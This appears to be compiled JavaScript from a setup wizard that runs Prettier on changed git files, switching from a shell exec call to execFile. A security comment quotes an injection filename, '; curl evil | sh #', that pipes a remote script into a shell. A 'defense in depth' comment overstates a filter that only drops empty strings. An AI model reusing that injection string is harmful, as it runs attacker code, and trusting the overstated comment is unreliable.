"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    var desc = Object.getOwnPropertyDescriptor(m, k);
    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
    }
    Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
    Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
    o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
    var ownKeys = function(o) {
        ownKeys = Object.getOwnPropertyNames || function (o) {
            var ar = [];
            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
            return ar;
        };
        return ownKeys(o);
    };
    return function (mod) {
        if (mod && mod.__esModule) return mod;
        var result = {};
        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
        __setModuleDefault(result, mod);
        return result;
    };
})();
Object.defineProperty(exports, "__esModule", { value: true });
exports.runPrettierStep = runPrettierStep;
const telemetry_1 = require("../telemetry");
const analytics_1 = require("../utils/analytics");
const ui_1 = require("../ui");
const setup_utils_1 = require("../utils/setup-utils");
const package_json_1 = require("../utils/package-json");
const childProcess = __importStar(require("node:child_process"));
async function runPrettierStep({ installDir, integration, }) {
    return (0, telemetry_1.traceStep)('run-prettier', async () => {
        if (!(0, setup_utils_1.isInGitRepo)()) {
            // We only run formatting on changed files. If we're not in a git repo, we can't find
            // changed files. So let's early-return without showing any formatting-related messages.
            return;
        }
        const changedOrUntrackedFiles = (0, setup_utils_1.getUncommittedOrUntrackedFiles)()
            .map((filename) => {
            return filename.startsWith('- ') ? filename.slice(2) : filename;
        })
            // Defense in depth: filter out anything that doesn't look like a real
            // file path so even if `git status` parsing regressed and returned a
            // weird line, we wouldn't pass it to the subprocess. We also skip
            // empties produced by the trim above.
            .filter((f) => f.length > 0);
        if (changedOrUntrackedFiles.length === 0) {
            // Likewise, if we can't find changed or untracked files, there's no point in running Prettier.
            return;
        }
        const packageJson = await (0, setup_utils_1.tryGetPackageJson)({ installDir });
        if (!packageJson)
            return;
        const prettierInstalled = (0, package_json_1.hasPackageInstalled)('prettier', packageJson);
        if (!prettierInstalled) {
            return;
        }
        const prettierSpinner = (0, ui_1.getUI)().spinner();
        prettierSpinner.start('Running Prettier on your files.');
        try {
            // SECURITY: use execFile (no shell) and pass filenames as a separate
            // argv array. The previous `exec(\`npx prettier ... ${files}\`)` form
            // built a shell string from filenames returned by `git status`, so a
            // tracked file named e.g. `; curl evil | sh #` would have executed on
            // every wizard run inside that repo. With execFile each filename is a
            // single argv entry — shell metacharacters are inert.
            await new Promise((resolve, reject) => {
                childProcess.execFile('npx', [
                    'prettier',
                    '--ignore-unknown',
                    '--write',
                    '--',
                    ...changedOrUntrackedFiles,
                ], (err) => {
                    if (err) {
                        reject(err);
                    }
                    else {
                        resolve();
                    }
                });
            });
        }
        catch {
            prettierSpinner.stop('Prettier failed to run. You may want to format the changes manually.');
            return;
        }
        prettierSpinner.stop('Prettier has formatted your files.');
        analytics_1.analytics.wizardCapture('prettier ran', {
            integration,
            'prettier installed': true,
        });
    });
}
